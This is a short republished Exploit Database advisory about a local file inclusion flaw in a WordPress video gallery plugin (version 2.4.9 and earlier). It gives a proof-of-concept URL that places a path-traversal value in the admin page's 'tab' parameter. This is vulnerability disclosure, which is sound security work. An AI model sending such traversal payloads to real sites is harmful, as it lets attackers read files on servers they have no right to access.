WordPress Plugin All-in-One Video Gallery plugin 2.4.9 – Local File Inclusion (LFI)

• Exploit Database
• 121 阅读

• 作者： Mohamed Magdy Abumusilm
  日期： 2021-12-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50562/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14

  # Exploit Title: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) # Exploit Author: Mohamed Magdy Abumusilm Aka m19o # Software: All-in-One Video Gallery plugin # Version: <= 2.4.9 # Tested on: Windows,linux   Poc: https://example.com/wordpress/wp-admin/admin.php?page=all-in-one-video-gallery&tab=../../../../../poc   Decription : Authenticated user can exploit LFI vulnerability in tab parameter.   Vulnerable code block : https://i.ibb.co/hXRcSQp/1123.png   You can find a writeup at my blog : https://m19o.github.io/posts/How-i-found-my-first-0day/